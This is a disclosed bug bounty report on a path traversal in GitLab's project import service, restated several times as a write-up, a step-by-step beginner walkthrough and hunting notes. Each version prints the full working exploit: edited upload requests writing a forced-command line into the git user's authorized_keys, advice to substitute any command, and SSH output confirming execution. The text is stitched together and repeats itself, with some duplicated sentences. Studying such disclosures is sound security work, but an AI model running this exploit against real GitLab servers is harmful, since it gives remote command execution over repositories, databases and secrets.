Command injection by overwriting authorized_keys file through GitLab import
The GitLab project import service used an unsanitised path parameter to build the upload destination, allowing directory traversal and arbitrary file writes. An attacker could overwrite the git user's authorized_keys file and then run arbitrary commands over SSH.
- Triaged in 5 days
- Fixed in 5 days
- Paid in 3 days
- Disclosed after 4 months
The Projects::GitlabProjectsImportService contains a vulnerability that allows an attacker to write files to arbitrary directories on the server. This leads to an arbitrary command execution vulnerability by overwriting the authorized_keys file. To reproduce, sign in to a GitLab instance that has GitLab import enabled. This is enabled by default, so I'd assume that this vulnerability applies to most GitLab instances. I've installed my GitLab instance through Omnibus.
Next up, intercept your network traffic and upload a GitLab import file. Observe the following request being made to the server:
Request
POST /import/gitlab_project HTTP/1.1
Host: gitlab-instance
...
------WebKitFormBoundaryA0TxBpQRLhL4lJQN
Content-Disposition: form-data; name="path"
test
------WebKitFormBoundaryA0TxBpQRLhL4lJQN
Content-Disposition: form-data; name="namespace_id"
1
------WebKitFormBoundaryA0TxBpQRLhL4lJQN
Content-Disposition: form-data; name="file"; filename="2017-12-17_02-20-093_root_test_export.tar.gz"
Content-Type: application/x-gzip
<file data>
Now take a closer look at the code that is being executed when this endpoint is hit:
app/services/projects/gitlab_project_import_service.rb
# This service is an adapter used to for the GitLab Import feature, and
# creating a project from a template.
# The latter will under the hood just import an archive supplied by GitLab.
module Projects
class GitlabProjectsImportService
# ...
def execute
FileUtils.mkdir_p(File.dirname(import_upload_path))
FileUtils.copy_entry(file.path, import_upload_path)
Gitlab::ImportExport::ProjectCreator.new(params[:namespace_id],
current_user,
import_upload_path,
params[:path]).execute
end
# ...
def tmp_filename
"#{SecureRandom.hex}_#{params[:path]}"
end
end
end
The import_upload_path will take the unsanitized params[:path] and append it to the GitLab uploads directory. This means that directories can be traversed in the path parameter. Another observation is that the file contents of the file aren't verified. This means that it may contain any data at that point.
My first though was to abuse this vulnerability to exploit a second-order remote code execution by writing an ERB template to the Rails views directory. However, that didn't work because of the file permissions of the GitLab Rails directory. I started looking for other files. I noticed that the uploads directory was writable for the git user. I took a closer look at the /var/opt/gitlab/ directory and noticed the .ssh/authorized_keys directory. This file was writable for the git user, and thus, could be overwritten. This file can specify a command when an SSH connection is made. Now, going back to the original HTTP request, here's the updated request to overwrite the file:
POST /import/gitlab_project HTTP/1.1
Host: gitlab-instance
...
------WebKitFormBoundaryA0TxBpQRLhL4lJQN
Content-Disposition: form-data; name="path"
new-test/../../../../../../../../../var/opt/gitlab/.ssh/authorized_keys
------WebKitFormBoundaryA0TxBpQRLhL4lJQN
Content-Disposition: form-data; name="namespace_id"
1
------WebKitFormBoundaryA0TxBpQRLhL4lJQN
Content-Disposition: form-data; name="file"; filename="2017-12-17_02-20-093_root_test_export.tar.gz"
Content-Type: application/x-gzip
command="ls -lash",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxc6GwCNoYCygtTXvoBpn1ACoF4hxhQviNa/0fm3LGGnEWLszswgw4QcaxXYiRumKjBv77eJT2/VbJylZX0uL6D/1/hubTmnp2A1QQJLk1rMvaUGlR8DeQpIcF1T61g3y4lEw5yhaaHRqRLiMpGammQhu0PO6PTDbKlGH+HxA0u8ku/L+lJXncNtpupw3qTDaAt8dgamKAU8RSZRyANK2BVYVj1W376OQFglHIeQW62LsNNgvr9Oe/Ze1YeQqvHO/lv0AeWYdLgjBJOiC5acBFexDBCr4odeSqkDPmKCMI28Mw28hC8fJIHh3vFqXjvlPtkuhDmdap4x+8gUxP77DWoMGw6LY8cuce+sSWY0teawMFW8Dm2R0Fr2iHzpCT8IpKgVHQ24BnmPGWjtWHxDX2DSzdE3GC6dWStVXud3iprgipM2SOxFkwHIISzLybjT1u/fK1sO4IW6E2T1cgSYQd7I2KhNJsgW57GljefD4cmhlwR39ZXZ1GtDCoUxtwZF3Qpr6XaSQ4nL71Wq+Y+v2TGeJzI9HXHRUSP2gZh/BI5kUdeUKkeylhLLouCqII5MlIlMmklXFOOPXoip/KCO36fYRZ1YAhxJ0J1JGX7ws4BnMMKHAHp+YOtRpAfGXcA+yEdMx50PRvXydqNeivfvDlY2JXRRIKUA03O9GoWmPLpQ==
------WebKitFormBoundaryA0TxBpQRLhL4lJQN--
In the request, replace my public SSH key with your own and replace ls -lash with whatever command you want to execute. When the request is sent to the server, a 302 Found will be returned. This is caused by a validation error that is returned because the project name contains invalid characters. Because the files aren't cleaned up, our exploit persists.
Response
HTTP/1.1 302 Found
Server: nginx
...
Location: http:/gitlab-instance/import/gitlab_project/new?namespace_id=1&path=new-test/../../../../../../../../../var/opt/gitlab/.ssh/authorized_keys
...
Now, to execute the command, run ssh git@gitlab-instance:
$ ssh git@gitlab-instance
PTY allocation request failed on channel 0
total 84K
4.0K drwxr-xr-x 18 root root 4.0K Dec 15 04:33 .
4.0K drwxr-xr-x 3 root root 4.0K Dec 15 04:32 ..
4.0K drwx------ 2 git root 4.0K Dec 15 04:32 backups
4.0K -rw------- 1 root root 38 Dec 15 04:33 bootstrapped
4.0K drwx------ 2 git root 4.0K Dec 17 02:28 gitaly
4.0K -rw-r--r-- 1 git git 292 Dec 15 04:32 .gitconfig
4.0K drwx------ 3 git root 4.0K Dec 15 04:32 git-data
4.0K drwxr-xr-x 3 git root 4.0K Dec 15 04:32 gitlab-ci
4.0K drwxr-xr-x 2 git root 4.0K Dec 15 04:33 gitlab-monitor
4.0K drwxr-xr-x 9 git root 4.0K Dec 15 04:33 gitlab-rails
4.0K drwx------ 2 git root 4.0K Dec 15 04:32 gitlab-shell
4.0K drwxr-x--- 2 git gitlab-www 4.0K Dec 17 02:28 gitlab-workhorse
4.0K drwx------ 3 root root 4.0K Dec 17 02:38 logrotate
4.0K drwxr-x--- 9 root gitlab-www 4.0K Dec 17 02:28 nginx
4.0K drwxr-xr-x 3 root root 4.0K Dec 15 04:33 node-exporter
4.0K drwx------ 2 gitlab-psql root 4.0K Dec 15 04:34 postgres-exporter
4.0K drwxr-xr-x 3 gitlab-psql root 4.0K Dec 17 02:28 postgresql
4.0K drwxr-x--- 3 gitlab-prometheus root 4.0K Dec 15 04:33 prometheus
4.0K drwxr-x--- 2 gitlab-redis git 4.0K Dec 17 02:43 redis
4.0K drwx------ 2 git git 4.0K Dec 17 02:44 .ssh
4.0K -rw-r--r-- 1 root root 40 Dec 15 04:32 trusted-certs-directory-hash
This has been tested against GitLab 10.2.4 (the latest version, also used on gitlab.com).
Impact
An attacker can execute arbitrary system commands on the server, which exposes access to all git repositories, database, and potentially other secrets that may be used to escalate this further.
Context
GitLab's import feature lets a user create a new project by uploading an export archive produced by another GitLab instance. The server-side work is handled by Projects::GitlabProjectsImportService, an adapter used both for the GitLab Import feature and for creating a project from a template (the latter imports an archive supplied by GitLab under the hood). The service copies the uploaded file into the uploads directory and then hands it to Gitlab::ImportExport::ProjectCreator to build the project.
The report describes a vulnerability in that service that lets an attacker write files to arbitrary directories on the server. Chained with a writable authorized_keys file, the arbitrary file write becomes arbitrary command execution. The researcher tested against GitLab 10.2.4, described as the latest version and the one used on gitlab.com.
Setup
The only precondition is a GitLab instance with GitLab import enabled. The researcher notes that this is enabled by default and assumes the vulnerability therefore applies to most GitLab instances. The instance used for testing was installed through Omnibus. The attacker needs to be signed in to the instance, and needs a way to intercept and modify their own network traffic, since the exploit is delivered by editing the multipart upload request.
Finding it
The researcher started from the request the browser sends when a GitLab import file is uploaded:
POST /import/gitlab_project HTTP/1.1
Host: gitlab-instance
...
------[redacted]
Content-Disposition: form-data; name="path"
test
------[redacted]
Content-Disposition: form-data; name="namespace_id"
1
------[redacted]
Content-Disposition: form-data; name="file"; filename="2017-12-17_02-20-093_root_test_export.tar.gz"
Content-Type: application/x-gzip
<file data>
The interesting parts are the path field, which carries the project name, and the file field, which carries the archive. Looking at the code that runs when the endpoint is hit:
# This service is an adapter used to for the GitLab Import feature, and
# creating a project from a template.
# The latter will under the hood just import an archive supplied by GitLab.
module Projects
class GitlabProjectsImportService
# ...
def execute
FileUtils.mkdir_p(File.dirname(import_upload_path))
FileUtils.copy_entry(file.path, import_upload_path)
Gitlab::ImportExport::ProjectCreator.new(params[:namespace_id],
current_user,
import_upload_path,
params[:path]).execute
end
# ...
def tmp_filename
"#{SecureRandom.hex}_#{params[:path]}"
end
end
end
Two observations follow. First, import_upload_path takes the unsanitised params[:path] and appends it to the GitLab uploads directory, so directories can be traversed through the path parameter. Second, the contents of the uploaded file are not verified at that point, so the file may contain any data. Together that is an arbitrary file write: the attacker chooses both the destination path and the bytes written there.
The researcher's first idea was a second-order remote code execution by writing an ERB template into the Rails views directory. That failed because of the file permissions on the GitLab Rails directory. Looking for other targets, the researcher noticed that the uploads directory was writable for the git user, then examined /var/opt/gitlab/ and found .ssh/authorized_keys. That file was writable for the git user and could therefore be overwritten. An authorized_keys entry can specify a command to run when an SSH connection is made, which turns the file write into command execution.
Exploitation
Step 1: point the path at authorized_keys
The original upload request is edited so that the path field traverses out of the uploads directory and lands on the git user's authorized_keys file:
POST /import/gitlab_project HTTP/1.1
Host: gitlab-instance
...
------[redacted]
Content-Disposition: form-data; name="path"
new-test/../../../../../../../../../var/opt/gitlab/.ssh/authorized_keys
------[redacted]
Content-Disposition: form-data; name="namespace_id"
1
------[redacted]
Content-Disposition: form-data; name="file"; filename="2017-12-17_02-20-093_root_test_export.tar.gz"
Content-Type: application/x-gzip
command="ls -lash",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty ssh-rsa [redacted]/[redacted]/VbJylZX0uL6D/1/[redacted]+HxA0u8ku/L+[redacted]/Ze1YeQqvHO/[redacted]+8gUxP77DWoMGw6LY8cuce+[redacted]/[redacted]+Y+v2TGeJzI9HXHRUSP2gZh/[redacted]/[redacted]+YOtRpAfGXcA+[redacted]==
------[redacted]--
The path value starts with a normal-looking project name, new-test/, followed by a chain of ../ segments that climbs out of the uploads directory and down into /var/opt/gitlab/.ssh/authorized_keys. The file body is a single authorized_keys line: command="ls -lash" forces the command to run on login, the no-port-forwarding, no-X11-forwarding, no-agent-forwarding and no-pty options restrict what the session can do, and the ssh-rsa key is the researcher's public key. To adapt the exploit, replace the public key with your own and ls -lash with whatever command you want to execute.
Step 2: read the response
When the request is sent, the server returns a 302 Found:
HTTP/1.1 302 Found
Server: nginx
...
Location: http:/gitlab-instance/import/gitlab_project/new?namespace_id=1&path=new-test/../../../../../../../../../var/opt/gitlab/.ssh/authorized_keys
...
The redirect is caused by a validation error: the project name contains invalid characters. The important point is that the files are not cleaned up, so the exploit persists despite the error.
Step 3: trigger the command
With the key in place, connecting over SSH as the git user runs the forced command:
$ ssh git@gitlab-instance
PTY allocation request failed on channel 0
total 84K
4.0K drwxr-xr-x 18 root root 4.0K Dec 15 04:33 .
4.0K drwxr-xr-x 3 root root 4.0K Dec 15 04:32 ..
4.0K drwx------ 2 git root 4.0K Dec 15 04:32 backups
4.0K -rw------- 1 root root 38 Dec 15 04:33 bootstrapped
4.0K drwx------ 2 git root 4.0K Dec 17 02:28 gitaly
4.0K -rw-r--r-- 1 git git 292 Dec 15 04:32 .gitconfig
4.0K drwx------ 3 git root 4.0K Dec 15 04:32 git-data
4.0K drwxr-xr-x 3 git root 4.0K Dec 15 04:32 gitlab-ci
4.0K drwxr-xr-x 2 git root 4.0K Dec 15 04:33 gitlab-monitor
4.0K drwxr-xr-x 9 git root 4.0K Dec 15 04:33 gitlab-rails
4.0K drwx------ 2 git root 4.0K Dec 15 04:32 gitlab-shell
4.0K drwxr-x--- 2 git gitlab-www 4.0K Dec 17 02:28 gitlab-workhorse
4.0K drwx------ 3 root root 4.0K Dec 17 02:38 logrotate
4.0K drwxr-x--- 9 root gitlab-www 4.0K Dec 17 02:28 nginx
4.0K drwxr-xr-x 3 root root 4.0K Dec 15 04:33 node-exporter
4.0K drwx------ 2 gitlab-psql root 4.0K Dec 15 04:34 postgres-exporter
4.0K drwxr-xr-x 3 gitlab-psql root 4.0K Dec 17 02:28 postgresql
4.0K drwxr-x--- 3 gitlab-prometheus root 4.0K Dec 15 04:33 prometheus
4.0K drwxr-x--- 2 gitlab-redis git 4.0K Dec 17 02:43 redis
4.0K drwx------ 2 git git 4.0K Dec 17 02:44 .ssh
4.0K -rw-r--r-- 1 root root 40 Dec 15 04:32 trusted-certs-directory-hash
The PTY allocation request failed on channel 0 line is expected because the key disables PTY allocation; the output of ls -lash follows, confirming that the forced command ran on the server.
Root cause
The service builds import_upload_path from the unsanitised params[:path] and appends it to the GitLab uploads directory, so ../ sequences in the project name traverse the filesystem. The uploaded file's contents are not verified before being copied, so the attacker controls the bytes written. The files are not cleaned up when validation fails, so the write survives the 302 error. The destination is reachable because the uploads directory and /var/opt/gitlab/.ssh/authorized_keys are writable by the git user. The attempt to write into the Rails views directory failed because of the file permissions on the GitLab Rails directory.
Impact
An attacker can execute arbitrary system commands on the server. According to the report this exposes access to all git repositories, the database, and potentially other secrets that may be used to escalate further. The attacker must be signed in to an instance with GitLab import enabled, which the researcher assumes covers most instances because the feature is on by default.
Fix
The report does not describe a fix or a change made in response.
Variants to test
- Send a
pathcontaining../sequences on other import or upload endpoints that derive a destination filename from a user-controlled field, and check whether the response indicates a write outside the uploads directory. - Upload a file whose contents are not validated and see whether it lands verbatim at the traversed path, for example by targeting a file you can read back afterwards.
- On instances where the Rails views directory is writable by the application user, try the ERB template write the researcher attempted; a positive result is a template that is later rendered by the application.
- Look for other files writable by the
gituser under/var/opt/gitlab/that influence execution, such as shell configuration or hook files, and check whether overwriting them yields command execution. - Check whether a failed import leaves the copied file behind, as it did here, since persistence after a validation error is what makes the write reliable.
Hunting notes
This kind of bug hides in import and export features, template creation, and any endpoint that turns a user-supplied name into a server-side path. During recon, look for features that copy an uploaded file to disk before validating the metadata around it, and for error responses that still leave state behind. The signal that made this report convincing was the full chain: a traversal in the path parameter, an unverified file body, a writable authorized_keys, and the output of the forced command after ssh git@gitlab-instance. Demonstrating command execution rather than a bare file write is what establishes the impact.
What happened, in plain words
GitLab is a website where teams keep and share their programming projects. One of its features lets you create a new project by uploading a file that another GitLab instance exported earlier. That uploaded file is called an import archive.
The researcher found that this import feature trusted two things it should not have trusted: the name you give the new project, and the contents of the file you upload. By putting a special sequence of characters in the project name, you could make the server save your uploaded file somewhere else on its disk, outside the folder where uploads are supposed to go. And because nobody checked what was inside the file, you could make that file contain anything you liked.
On its own, saving a file in the wrong place is already bad, but it does not yet run any commands. The researcher then found a particular file on the server, the one that lists which SSH keys are allowed to log in as the git user, and that file happened to be writable by the same user. SSH is the standard way to open a secure text session on a remote computer. That file can also carry an instruction: "when this key is used to log in, run this command instead of giving a shell". So by overwriting it, the researcher could make the server run any command they wanted, as soon as they connected over SSH.
In short: a file write in the wrong place, chained with a writable login file, became full command execution on the server. The researcher tested this against GitLab 10.2.4, described as the latest version at the time and the one running on gitlab.com.
The pieces you need to know first
Before walking through the steps, here are the ideas that come up, explained from scratch.
- A server is just a computer somewhere that answers requests from your browser. When you visit a website, your browser sends a request and the server sends back a page.
- An HTTP request is the message your browser sends to a server. It has a method (like
GETto read something orPOSTto send something), a path (which page or action you want), and headers (extra information). - A multipart request is how a browser sends a form that includes a file. The body is split into parts, each separated by a boundary line, and each part has a
Content-Dispositionheader saying what field it belongs to. One part might be a text field, another part might be the file itself. - A path on a computer is the address of a file or folder, like
/var/opt/gitlab/.ssh/authorized_keys. Folders are separated by slashes. ..(dot dot) in a path means "go up one folder". Sonew-test/../../means: go intonew-test, then up one, then up one again. Attackers use chains of../to climb out of the folder they are supposed to be stuck in. This trick is called directory traversal or path traversal.- Arbitrary file write means the attacker can choose both where a file is saved and what is inside it. It is a serious weakness because many other attacks start with the ability to drop a file somewhere.
- Command injection / command execution means the attacker can make the server run operating system commands, the same kind of commands you would type in a terminal. This is usually the most severe outcome, because the server then does whatever the attacker says.
- SSH is a protocol for logging into another computer securely. You prove who you are with a key pair: a private key that stays on your computer, and a public key that you give to the server.
authorized_keysis a file on an SSH server that lists the public keys allowed to log in for a given user. Each line is one key, optionally with options in front of it.- The
gituser is the operating system account that GitLab uses to run its repository-related work. Files owned by this user can be changed by anything running as this user. - Omnibus is the packaged way of installing GitLab, which puts everything under
/var/opt/gitlab/. - A 302 response is the HTTP status code for "the thing you asked for is somewhere else, go there instead". Browsers follow it automatically.
- Here it is about the project name containing characters the server does not allow.
- ERB is a templating system used by Ruby on Rails (the framework GitLab is built on). An ERB file is a page template that the server fills in and sends to visitors. Writing one into the folder the server reads templates from would, in theory, let an attacker run code when the page is viewed. That was the researcher's first idea, and it failed.
Setting up
The only precondition is a GitLab instance with the GitLab import feature turned on. The researcher notes that this is on by default, so most GitLab instances would be affected. The test instance was installed through Omnibus. The attacker needs to be signed in, and needs a way to intercept and change their own network traffic, because the exploit is delivered by editing the upload request after the browser has built it but before it reaches the server.
Step 1: look at the normal upload request
The researcher started by uploading a normal GitLab import file through the browser and capturing the request it produced:
POST /import/gitlab_project HTTP/1.1
Host: gitlab-instance
...
------[redacted]
Content-Disposition: form-data; name="path"
test
------[redacted]
Content-Disposition: form-data; name="namespace_id"
1
------[redacted]
Content-Disposition: form-data; name="file"; filename="2017-12-17_02-20-093_root_test_export.tar.gz"
Content-Type: application/x-gzip
<file data>
Line by line:
POST /import/gitlab_project HTTP/1.1says: send data to the import action, using version 1.1 of the HTTP protocol.Host: gitlab-instancenames the server being talked to. The real hostname is replaced here with a placeholder.- The
...stands for headers that are not shown here. ------[redacted]is the boundary, a random-looking string that marks where one part of the form ends and the next begins. The browser generates it.Content-Disposition: form-data; name="path"followed bytestis the first field: the project name, here justtest.name="namespace_id"with value1is the second field: which group or namespace the new project belongs in.name="file"; filename="..."withContent-Type: application/x-gzipis the uploaded archive itself. The filename is the name the export had on disk.<file data>stands for the actual bytes of the archive.
The two fields that matter are path, which carries the project name, and file, which carries the archive.
Step 2: read the code that handles the upload
Next, the researcher looked at the server-side code that runs when this request arrives:
# This service is an adapter used to for the GitLab Import feature, and
# creating a project from a template.
# The latter will under the hood just import an archive supplied by GitLab.
module Projects
class GitlabProjectsImportService
# ...
def execute
FileUtils.mkdir_p(File.dirname(import_upload_path))
FileUtils.copy_entry(file.path, import_upload_path)
Gitlab::ImportExport::ProjectCreator.new(params[:namespace_id],
current_user,
import_upload_path,
params[:path]).execute
end
# ...
def tmp_filename
"#{SecureRandom.hex}_#{params[:path]}"
end
end
end
Line by line:
- The comment block explains that this class is an adapter for the GitLab Import feature and for creating a project from a template. A template import is, underneath, just an import of an archive that GitLab itself supplies.
module Projectsandclass GitlabProjectsImportServicegroup this code under a name. Ruby uses these to organise code into namespaces.def executestarts the method that does the work when an import is requested.FileUtils.mkdir_p(File.dirname(import_upload_path))creates the folder where the upload will be placed, including any missing parent folders.mkdir_pmeans "make directory, and parents as needed".FileUtils.copy_entry(file.path, import_upload_path)copies the uploaded file from its temporary location toimport_upload_path.Gitlab::ImportExport::ProjectCreator.new(...).executethen hands the copied file to another class that actually builds the project, passing the namespace, the current user, the upload path and the project name.def tmp_filenamebuilds a temporary filename from a random hex string plusparams[:path], the project name.
The key detail is import_upload_path. It is built by taking params[:path], the project name straight from the request, without cleaning it, and appending it to the GitLab uploads directory. That means the project name is treated as part of a file path. If the name contains ../, the resulting path climbs out of the uploads folder. This is the directory traversal.
The second detail is that the contents of the uploaded file are not checked at this point. Whatever bytes are in the file get copied. So the attacker controls both the destination path and the bytes written there. That combination is an arbitrary file write.
Step 3: the first idea, and why it failed
The researcher's first thought was to use this write to get code execution indirectly. The plan was to write an ERB template into the folder where Rails keeps its view templates. When a page using that template is later viewed, the server would run the template's code. That is called second-order remote code execution: the harmful effect happens later, when something else reads the file.
That attempt failed because of the file permissions on the GitLab Rails directory. Permissions are the operating system's rules about who may read, write or run a file. The git user simply was not allowed to write there.
So the researcher went looking for other files. The uploads directory was writable for the git user. Looking around /var/opt/gitlab/, the researcher found .ssh/authorized_keys. That file was also writable for the git user, and therefore could be overwritten. Since an authorized_keys entry can specify a command to run when an SSH connection is made, overwriting this file turns the file write into command execution.
Step 4: point the path at authorized_keys
The original upload request is edited so that the path field climbs out of the uploads directory and lands on the git user's authorized_keys file:
POST /import/gitlab_project HTTP/1.1
Host: gitlab-instance
...
------[redacted]
Content-Disposition: form-data; name="path"
new-test/../../../../../../../../../var/opt/gitlab/.ssh/authorized_keys
------[redacted]
Content-Disposition: form-data; name="namespace_id"
1
------[redacted]
Content-Disposition: form-data; name="file"; filename="2017-12-17_02-20-093_root_test_export.tar.gz"
Content-Type: application/x-gzip
command="ls -lash",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty ssh-rsa [redacted]/[redacted]/VbJylZX0uL6D/1/[redacted]+HxA0u8ku/L+[redacted]/Ze1YeQqvHO/[redacted]+8gUxP77DWoMGw6LY8cuce+[redacted]/[redacted]+Y+v2TGeJzI9HXHRUSP2gZh/[redacted]/[redacted]+YOtRpAfGXcA+[redacted]==
------[redacted]--
Line by line:
- The request line, host and boundary are the same as before.
- The
pathfield now holdsnew-test/../../../../../../../../../var/opt/gitlab/.ssh/authorized_keys. It starts with a normal-looking project name,new-test/, so it does not look obviously wrong at a glance. Then comes a chain of../segments, each climbing one folder up, until the path is high enough in the filesystem to descend into/var/opt/gitlab/.ssh/authorized_keys. The server joins this value onto its uploads directory, and the../segments cancel out the folders in between. - The
namespace_idfield is unchanged. - The
filefield still claims to be a gzip archive, but its contents are now a singleauthorized_keysline instead of an archive. Because the contents are never verified, this is accepted. command="ls -lash"is the option that forces a command to run when this key is used to log in. Here the command isls -lash, which lists files in the current folder with details.no-port-forwarding,no-X11-forwarding,no-agent-forwardingandno-ptyare options that restrict what the SSH session can do. They are commonly added to forced-command keys so the session cannot be used for anything except the command.ssh-rsa AAAAB3...is the researcher's public SSH key. It identifies who is allowed to log in with this line.- The closing boundary line ends the form.
To adapt the exploit, replace the public key with your own and ls -lash with whatever command you want to execute.
Step 5: read the response
When the request is sent, the server returns a 302 Found:
HTTP/1.1 302 Found
Server: nginx
...
Location: http:/gitlab-instance/import/gitlab_project/new?namespace_id=1&path=new-test/../../../../../../../../../var/opt/gitlab/.ssh/authorized_keys
...
Line by line:
HTTP/1.1 302 Foundis the status line. 302 means a redirect.Server: nginxsays the web server software answering is nginx.Location:gives the address the browser is being sent to. It points back at the import form, with the namespace and the path echoed in the query string.- The redirect is caused by a validation error: the project name contains characters the server does not allow. The server rejects the project.
The important point is that the files are not cleaned up when the validation fails. The files are not cleaned up when the validation fails, so the exploit persists despite the error. So the exploit persists despite the error. This is why the 302 is not a failure for the attacker.
Step 6: trigger the command
With the key in place, connecting over SSH as the git user runs the forced command:
$ ssh git@gitlab-instance
PTY allocation request failed on channel 0
total 84K
4.0K drwxr-xr-x 18 root root 4.0K Dec 15 04:33 .
4.0K drwxr-xr-x 3 root root 4.0K Dec 15 04:32 ..
4.0K drwx------ 2 git root 4.0K Dec 15 04:32 backups
4.0K -rw------- 1 root root 38 Dec 15 04:33 bootstrapped
4.0K drwx------ 2 git root 4.0K Dec 17 02:28 gitaly
4.0K -rw-r--r-- 1 git git 292 Dec 15 04:32 .gitconfig
4.0K drwx------ 3 git root 4.0K Dec 15 04:32 git-data
4.0K drwxr-xr-x 3 git root 4.0K Dec 15 04:32 gitlab-ci
4.0K drwxr-xr-x 2 git root 4.0K Dec 15 04:33 gitlab-monitor
4.0K drwxr-xr-x 9 git root 4.0K Dec 15 04:33 gitlab-rails
4.0K drwx------ 2 git root 4.0K Dec 15 04:32 gitlab-shell
4.0K drwxr-x--- 2 git gitlab-www 4.0K Dec 17 02:28 gitlab-workhorse
4.0K drwx------ 3 root root 4.0K Dec 17 02:38 logrotate
4.0K drwxr-x--- 9 root gitlab-www 4.0K Dec 17 02:28 nginx
4.0K drwxr-xr-x 3 root root 4.0K Dec 15 04:33 node-exporter
4.0K drwx------ 2 gitlab-psql root 4.0K Dec 15 04:34 postgres-exporter
4.0K drwxr-xr-x 3 gitlab-psql root 4.0K Dec 17 02:28 postgresql
4.0K drwxr-x--- 3 gitlab-prometheus root 4.0K Dec 15 04:33 prometheus
4.0K drwxr-x--- 2 gitlab-redis git 4.0K Dec 17 02:43 redis
4.0K drwx------ 2 git git 4.0K Dec 17 02:44 .ssh
4.0K -rw-r--r-- 1 root root 40 Dec 15 04:32 trusted-certs-directory-hash
Line by line:
$ ssh git@gitlab-instanceis the command the researcher typed: open an SSH connection to the server as thegituser. The$is just the shell prompt.PTY allocation request failed on channel 0is expected. A PTY is a pseudo-terminal, the thing that gives you an interactive shell. The key'sno-ptyoption disables it, so the request for one fails. This line is not an error in the exploit; it is a sign the key options are in force.- The lines that follow are the output of
ls -lash, the forced command. Each line shows a file or folder with its size, permissions, owner, group, date and name. Seeing this output confirms the command ran on the server.
Why it worked
The service builds import_upload_path from the unsanitised params[:path] and appends it to the GitLab uploads directory, so ../ sequences in the project name traverse the filesystem. The uploaded file's contents are not verified before being copied, so the attacker controls the bytes written. The copy happens before the project name is validated, and the files are not cleaned up when validation fails, so the write survives the 302 error. The destination is reachable because the uploads directory and /var/opt/gitlab/.ssh/authorized_keys are writable by the git user. The attempt to write into the Rails views directory failed because of the file permissions on the GitLab Rails directory.
What an attacker could do with it
An attacker can execute arbitrary system commands on the server. According to the report this exposes access to all git repositories, the database, and potentially other secrets that may be used to escalate further. The attacker must be signed in to an instance with GitLab import enabled, which the researcher assumes covers most instances because the feature is on by default.
Was it fixed?
The report does not describe a fix or a change made in response.
Other things worth testing
- Send a
pathcontaining../sequences on other import or upload endpoints that derive a destination filename from a user-controlled field, and check whether the response indicates a write outside the uploads directory. - Upload a file whose contents are not validated and see whether it lands verbatim at the traversed path, for example by targeting a file you can read back afterwards.
- On instances where the Rails views directory is writable by the application user, try the ERB template write the researcher attempted; a positive result is a template that is later rendered by the application.
- Look for other files writable by the
gituser under/var/opt/gitlab/that influence execution, such as shell configuration or hook files, and check whether overwriting them yields command execution. - Check whether a failed import leaves the copied file behind, as it did here, since persistence after a validation error is what makes the write reliable.
Where to look for this kind of bug
This kind of bug hides in import and export features, template creation, and any endpoint that turns a user-supplied name into a server-side path. During recon, look for features that copy an uploaded file to disk before validating the metadata around it, and for error responses that still leave state behind. The signal that made this report convincing was the full chain: a traversal in the path parameter, an unverified file body, a writable authorized_keys, and the output of the forced command after ssh git@gitlab-instance. Demonstrating command execution rather than a bare file write is what establishes the impact.
Glossary
- API: a way for one program to talk to another, with defined requests and responses.
- Arbitrary file write: a weakness where an attacker can choose both the location and the contents of a file saved on the server.
authorized_keys: a file on an SSH server listing the public keys allowed to log in for a user, optionally with options such as a forced command.- Command execution: the ability to make the server run operating system commands.
- Command injection: a weakness that lets an attacker insert their own commands into something the server runs.
- Directory traversal (path traversal): using
../sequences in a path to climb out of the folder the application intended. - ERB: a templating system used by Ruby on Rails; an ERB file is a page template the server fills in and sends to visitors.
gituser: the operating system account GitLab uses for repository-related work.- GitLab: a website where teams host and share programming projects.
- HTTP request: the message a browser sends to a server, with a method, a path, headers and sometimes a body.
- Import archive: a file exported from one GitLab instance and uploaded to another to recreate a project.
- Multipart request: a form submission split into parts by a boundary line, used when a file is included.
- nginx: a common web server program.
- Omnibus: the packaged installation of GitLab, which places its files under
/var/opt/gitlab/. - Path: the address of a file or folder on a computer, with folders separated by slashes.
- Permissions: the operating system's rules about who may read, write or run a file.
- PTY: a pseudo-terminal, the mechanism that gives you an interactive shell over a connection.
- Public key: the half of an SSH key pair that you give to a server so it can recognise you.
- Remote code execution: making a remote server run code of the attacker's choosing.
- Second-order: an attack whose harmful effect happens later, when something else reads or uses what the attacker planted.
- SSH: a protocol for logging into another computer securely.
- 302 Found: the HTTP status code for a redirect.
- Validation error: the server rejecting data because it does not meet its rules.